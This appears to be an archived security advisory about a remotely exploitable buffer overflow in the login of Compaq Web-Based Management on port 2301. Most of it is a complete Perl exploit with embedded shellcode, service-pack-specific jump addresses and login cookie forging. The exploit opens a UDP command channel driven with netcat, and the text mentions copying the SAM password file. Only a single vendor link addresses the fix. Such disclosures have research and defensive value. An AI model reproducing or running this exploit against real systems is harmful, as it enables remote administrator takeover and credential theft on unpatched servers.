COMMAND

    Compaq Management Agents

SYSTEMS AFFECTED

    Compaq Management Agents (Software version 4.70 verified)

PROBLEM

    Following is based on a iXsecurity Security Vulnerability  Report.
    The  authentication  of  Compaq  Web-Based  Management  contains a
    remotely exploitable buffer overflow.

    Anyone that has access to port 2301 on a Windows NT server can run
    arbitrary code as Administrators (like RDS).

    http://Server.with.CWBM:2301/cpqlogin.htm   is   accessible    for
    everyone by  default and  contains a  remotely exploitable  buffer
    overflow.

    Compaq  Management  Agents  and  Compaq  Web-Based  Management  is
    installed  by  default  using  the  SmartStart  CD.  The Web-Based
    Management binds to port 2301 and the java applet (on

        http://IP:2301/cpqlogin.htm

    that is used for an user  to log in, sends username and  encrypted
    password to

        http://IP:2301/Proxy/LoginResponse

    Due to the lack of bounds checking, the user name sent to this URL
    can be used to overwrite the EIP.  This happens when the user name
    is exactly  460 bytes  long. If  the user  name is  more than  460
    bytes, but less than  (about) 1500 bytes, another  overflow occurs
    that we cannot currently exploit.   If the user name is over  1500
    bytes, an error message is returned!  This is interesting, because
    it seems like there is  *some* kind of bounds checking  after all.
    It  just  doesn't   work  properly.    Before  the  fatal   return
    instruction, there is a POP EBP, so EBP is also overwritten.

    Our initial research indicates that the stack for this process  is
    always placed  at the  virtual address  0x00fdffff (on  Windows NT
    SP3) and growing  up towards lower  addresses (as usual).   At the
    moment,  we  use  this  fact  to  do  a direct jump to the assumed
    beginning of the  buffer.  Since  we are way  below 452 bytes,  we
    use the spare bytes in the beginning for a NOP sled.

    With this setup,  we have a  maximum of 452  bytes to use  for the
    payload.  Barnaby Jack's  frequently used (and very  nice) payload
    vector is  closer to  600 bytes,  so we  take a slightly different
    approach. First,  we use  a datagram  socket instead  of a  stream
    socket.  That saves  us a few bytes.  Then we don't use  anonymous
    pipes and  don't return  anything to  the client.   That makes  it
    less user friendly, but saves us a lot of bytes.  Finally, we  use
    WinExec instead of  creating a cmd.exe  process.  This  saves some
    bytes.  Eventually  this affects our  rights, but we  can at least
    still run rdisk and copy the sam  file.  That takes us a long  way
    in proof-of-concept terms.

    Using this approach we are aldready way below our 453 byte  limit.
    Actually this code is about  256 bytes.  Happy about  reaching the
    goal  directly,  we  have  not  even  tried to optimized the code.
    Therefore  it  will  be  easy  to  get  it  even  smaller if it is
    necessary.  Drop us a  line if you do it  or if you need any  help
    to do it.

    This Perl script uses MD5.   This code is using direct jumps.   It
    may not work on your system.   It has only been tested on  Windows
    NT SP3 and SP6a.  When investigating iXsecurity found the password
    hash algorithm.   This algorithm  is used  in the  code to  create
    logon cookies.  iXsecurity  have written a Compaq  cookie password
    cracker using this algorith.

    #!/usr/bin/perl
    
    $ver = "Comphack 1.3 -- iXsecurity Sweden, December 2000";
    $code     = "Ian Vitek, ian.vitek\@ixsecurity.com";
    $asm = "Anders Ingeborn, ingeborn\@ixsecurity.com";
    $spam   = "We are now hiring in Sweden and United Kingdom";
    
    $|=1;
    use MD5;
    use Socket;
    require 'getopts.pl';
    
    # Modified Sendraw - thanx RFP rfp@wiretrip.net
    sub sendraw {
      # this saves the whole transaction anyway
      my ($pstr)=@_;
      socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
             die("Socket problems\n");
      if(connect(S,pack "SnA4x8",2,$port,$target)){
        my @in;
        select(S);
        $|=1;
        print $pstr;
        sleep 20 if($exp);
        while(<S>){ push @in, $_;}
        # Messing up FH 8) Dirty? Yupp!
        # Try to figure out why
        # Clue: Windows
        select($undef);
        close(S);
        return @in;
      } else { die("\n  Can't connect...\n"); }
    }
    
    Getopts('s:p:P:m:h');
    
    print "\n$ver\n  Perlcode: $code\n  ASM code: $asm\n";
    
    die "  $spam\n\
    usage: $0 -s <host> [options] \
    \t-s <host>     Host with Compaq Web Manager\
    \t-p <port>     Port (Def: 2301)\
    \t-P <port>     CMD.EXE port (Def: 23001)\
    \t-m [3|6]      Service Pack (Def: 3)\
    \t-h            This help\n\
    Then send commands to port 23001/udp like this:\
    echo \"cmd /c mkdir c:\\iXsecurity\" | nc -u <host> 23001\n\n" if ( $opt_h || ! $opt_s || ! ( $opt_m==3 || $opt_m==6 || $opt_m eq "" ) );
    
    
    $httphead="Referer: http://${opt_s}:2301/\
    Connection: Keep-Alive\
    User-Agent: Mozilla/4.73 [en] (X11; U; Linux 2.2.16 i686)\
    Host: ${opt_s}:2301\
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\
    Accept-Encoding: gzip\
    Accept-Language: en\
    Accept-Charset: iso-8859-1,*,utf-8";
    
    $opt_p = 2301 if(!$opt_p);
    $port = $opt_p;
    $opt_P = 23001 if(!$opt_P);
    $opt_P=$opt_P % 65536;
    die "  int(CMDport/256) or (CMDport % 256) may not be 65!\n\n" if
    (int($opt_P/256)==65 || ($opt_P % 256)==65);
    $var1=int($opt_P/256) ^ 65;
    $var2=($opt_P %256) ^ 65;
    $CMDport=sprintf("%s%s",chr($var1),chr($var2));
    $target = inet_aton($opt_s);
    $r = "\x0D\x0A";
    $opt_m = 3 if(!$opt_m);
    $offset="\xfd";
    $offset="\xfa" if($opt_m==6);
    $m = $opt_m;
    $exp=0;
    
    ## NOP sled
    $payload = "";
    $i = 0;
    while( $i++ <= 207 )
         {
         $payload .= "\x90";
         }
    
    $payload .= "\xbc\x41\x54\xf6$offset"; #qd4
    $payload .= "\xc1\xec\x08"; #qd4
    $payload .= "\xc1\xed\x08"; #qd3
    $payload .= "\x31\xc9";
    $payload .= "\x81\xc1\x41\x41\x41\x52";
    $payload .= "\xc1\xe9\x18";
    $payload .= "\x80\x74\x29\x01\x41"; #qd1
    $payload .= "\xe2\xf9";
    $payload .= "\x8d\x45\x02";
    $payload .= "\x50";
    
    #LoadLibrary
    if( $m == "3" ) #NT4SP3
         { $payload .= "\xb8\x56\x37\xf1\x77"; }
    if( $m == "5" ) #NT4SP5
         { $payload .= "\xb8\xc9\x37\xf1\x77"; }
    if( $m == "6" ) #NT4SP6
         { $payload .= "\xb8\xbd\x37\xf1\x77"; }
    
    $payload .= "\xff\xd0";
    $payload .= "\x89\xc3";
    
    #GetProcAddress
    if( $m == "3" ) #NT4SP3
         { $payload .= "\xbe\x57\x3f\xf1\x77"; }
    if( $m == "5" ) #NT4SP5
         { $payload .= "\xbe\xca\x3f\xf1\x77"; }
    if( $m == "6" ) #NT4SP6
         { $payload .= "\xbe\xb3\x3f\xf1\x77"; }
    
    $payload .= "\x8d\x45\x09"; #qd2
    $payload .= "\x40"; #qd2
    $payload .= "\x50";
    $payload .= "\x53";
    $payload .= "\xff\xd6";
    $payload .= "\xab";
    $payload .= "\x8d\x45\x11";
    $payload .= "\x50";
    $payload .= "\x53";
    $payload .= "\xff\xd6";
    $payload .= "\xab";
    $payload .= "\x8d\x45\x16";
    $payload .= "\x50";
    $payload .= "\x53";
    $payload .= "\xff\xd6";
    $payload .= "\xab";
    $payload .= "\x8d\x45\x1f";
    $payload .= "\x50";
    
    #LoadLibrary
    if( $m == "3" ) #NT4SP3
         { $payload .= "\xb8\x56\x37\xf1\x77"; }
    if( $m == "5" ) #NT4SP5
         { $payload .= "\xb8\xc9\x37\xf1\x77"; }
    if( $m == "6" ) #NT4SP6
         { $payload .= "\xb8\xbd\x37\xf1\x77"; }
    
    $payload .= "\xff\xd0";
    $payload .= "\x89\xc3";
    $payload .= "\x8d\x45\x28";
    $payload .= "\x50";
    $payload .= "\x53";
    $payload .= "\xff\xd6";
    $payload .= "\xab";
    $payload .= "\x31\xc0";
    $payload .= "\x50";
    $payload .= "\x40";
    $payload .= "\x40";
    $payload .= "\x50";
    $payload .= "\x50";
    $payload .= "\xff\x57\xf0";
    $payload .= "\x89\xc3";
    $payload .= "\x6a\x10";
    $payload .= "\x8d\x45\x30";
    $payload .= "\x50";
    $payload .= "\x53";
    $payload .= "\xff\x57\xf4";
    $payload .= "\x8d\x45\x50";
    $payload .= "\x50";
    $payload .= "\x8d\x45\x40";
    $payload .= "\x50";
    $payload .= "\x31\xc0";
    $payload .= "\x50";
    $payload .= "\x6a\x7f";
    $payload .= "\x8d\x07";
    $payload .= "\x50";
    $payload .= "\x53";
    $payload .= "\xff\x57\xf8";
    $payload .= "\x3c\x06";
    $payload .= "\x0f\x8e\xe4\xff\xff\xff";
    $payload .= "\x80\x64\x07\xff\x01";
    $payload .= "\x8d\x07";
    $payload .= "\x50";
    $payload .= "\xff\x57\xfc";
    $payload .= "\x39\xc0";
    $payload .= "\x0f\x84\xd1\xff\xff\xff";
    
    #data xor:ed with A
    $payload .= "\x36\x32\x2e\x22\x2a\x72\x73\x41";
    $payload .= "\x32\x2e\x22\x2a\x24\x35\x41";
    $payload .= "\x23\x28\x2f\x25\x41";
    $payload .= "\x33\x24\x22\x37\x27\x33\x2e\x2c\x41";
    $payload .= "\x2a\x24\x33\x2f\x24\x2d\x72\x73\x41";
    $payload .= "\x16\x28\x2f\x04\x39\x24\x22\x41";
    $payload .= "\x43\x41";
    # CMDport xored with x41x41
    $payload .= $CMDport;
    $payload .= "\x41\x41\x41\x41";
    $payload .= "\x41\x41\x41\x41\x41\x41\x41\x41";
    $payload .= "\x41\x41";
    $payload .= "\x41\x41";
    $payload .= "\x41\x41\x41\x41";
    $payload .= "\x41\x41\x41\x41\x41\x41\x41\x41";
    $payload .= "\x51\x41\x41\x41";
    
    $ebp = "\x41\xc4\xf7$offset";
    
    # Try to do a direct jump, cross your fingers
    $eip = "\x54\xf6$offset\x00";
    
    $payload = $payload.$ebp.$eip;
    
    print "\n  Init by logging in as ixsecurity:is_hiring\n";
    print "  Trying to bind CMD.EXE to UDP port $opt_P\n";
    print "  Wait 10 seconds. Try then the command:\n";
    print "  echo \"cmd /c mkdir c:\\cim_bo\" | nc -u $opt_s $opt_P\n";
    &cpqlogin("ixsecurity","is_hiring");
    &sendexp;
    
    sub cpqlogin {
      $cpquser=$_[0];
      $cpqpass=$_[1];
      # Get loginpage and cookie
      @res = sendraw("GET /cpqlogin.htm HTTP/1.0${r}${httphead}$r$r");
      foreach $line (@res) {
        if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) {
          # Rebuild cookie to password respond
          $tmp=$2; $tmp++;
          $ccoo="$1$tmp$3";
        }
      }
    
      $stringUserPass=$cpquser . ":" . $cpqpass;
      $md5StringUserPass=uc MD5->hexhash($stringUserPass);
      $loginCookie1=$ccoo . $cpquser . $md5StringUserPass;
      $md5LoginCookie=uc MD5->hexhash($loginCookie1);
      $ccoo.=$md5LoginCookie;
    
      # Login
      @res = sendraw("GET /Proxy/LoginResponse HTTP/1.0${r}Accept: */*${r}Cookie: ${ccoo}${r}Compaq-WBEM-UserName: $cpquser$r$r");
      foreach $line (@res) {
        if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) {
          $ccoon="$1$2$3";
        }
      }
    
      sleep 2;
      # Do some surfing
      @res = sendraw("GET / HTTP/1.0${r}${httphead}${r}Cookie: $ccoon$r$r");
      sleep 2;
    }
    
    
    sub sendexp {
      # Get loginpage and fresh cookie
      @res = sendraw("GET /cpqlogin.htm HTTP/1.0${r}${httphead}$r$r");
      foreach $line (@res) {
        if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) {
          # Rebuild cookie to password respond
          $tmp=$2; $tmp++;
          $ccoo="$1$tmp$3";
        }
      }
    
      $stringUserPass="iXsecurity" . ":" . "iXsecurity";
      $md5StringUserPass=uc MD5->hexhash($stringUserPass);
      $loginCookie1=$ccoo . "iXsecurity" . $md5StringUserPass;
      $md5LoginCookie=uc MD5->hexhash($loginCookie1);
      $ccoo.=$md5LoginCookie;
    
      $exp=1;
      # Send buffer...
      @res = sendraw("GET /Proxy/LoginResponse HTTP/1.0${r}Accept: */*${r}Cookie: ${ccoo}${r}Compaq-WBEM-UserName: $payload$r$r");
      die "  $0 failed!\n\n" if($res[0]=~/HTTP/);
      die "  Port $opt_P is now closed or $0 failed!\n\n";
    }

SOLUTION

    Compaq Advisory located:

        http://www.compaq.com/products/servers/management/agentsecurity.html